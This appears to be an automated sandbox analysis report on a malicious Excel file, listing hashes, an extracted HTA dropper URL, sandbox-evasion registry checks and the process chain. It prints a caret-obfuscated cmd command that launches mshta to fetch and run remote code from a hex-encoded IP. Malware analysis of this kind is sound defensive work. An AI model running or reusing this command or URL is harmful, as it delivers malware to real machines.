Analysis
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max time kernel
144s -
max time network
154s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
20-01-2022 09:10
Behavioral task
behavioral1
Sample
8dbb2081a977b17fb9eeccef92e75765fd2d58c871f2e1af3f39ae5336e6b177.xls
Resource
win10-en-20211208
windows10_x64
0 signatures
0 seconds
General
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Target
8dbb2081a977b17fb9eeccef92e75765fd2d58c871f2e1af3f39ae5336e6b177.xls
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Size
142KB
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MD5
994d78ed4f375307b15d5886b8c7b1df
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SHA1
1f9fbed0fa4a791a6765351b8a242a79ec80d257
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SHA256
8dbb2081a977b17fb9eeccef92e75765fd2d58c871f2e1af3f39ae5336e6b177
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SHA512
46b2b712071a87aad30f11b86be7a02f80ada10655762f263e8aaa9888b03b148fb49f73d565d2aedb10d9c7840c0737525bb5302e85f97ce85e9aa1da5b65f7
Score
10/10
Malware Config
Extracted
Language
hta
Source
URLs
hta.dropper
http://0xb907d607/fer/fer.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 360 2712 cmd.exe 67 -
Blocklisted process makes network request 1 IoCs
flow pid Process 47 3020 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2712 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 2712 EXCEL.EXE 2712 EXCEL.EXE 2712 EXCEL.EXE 2712 EXCEL.EXE 2712 EXCEL.EXE 2712 EXCEL.EXE 2712 EXCEL.EXE 2712 EXCEL.EXE 2712 EXCEL.EXE 2712 EXCEL.EXE 2712 EXCEL.EXE 2712 EXCEL.EXE 2712 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2712 wrote to memory of 3848 2712 EXCEL.EXE 70 PID 2712 wrote to memory of 3848 2712 EXCEL.EXE 70 PID 2712 wrote to memory of 360 2712 EXCEL.EXE 72 PID 2712 wrote to memory of 360 2712 EXCEL.EXE 72
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8dbb2081a977b17fb9eeccef92e75765fd2d58c871f2e1af3f39ae5336e6b177.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2712 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:3848
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C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html2⤵
- Process spawned unexpected child process
PID:360 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fer.html3⤵
- Blocklisted process makes network request
PID:3020
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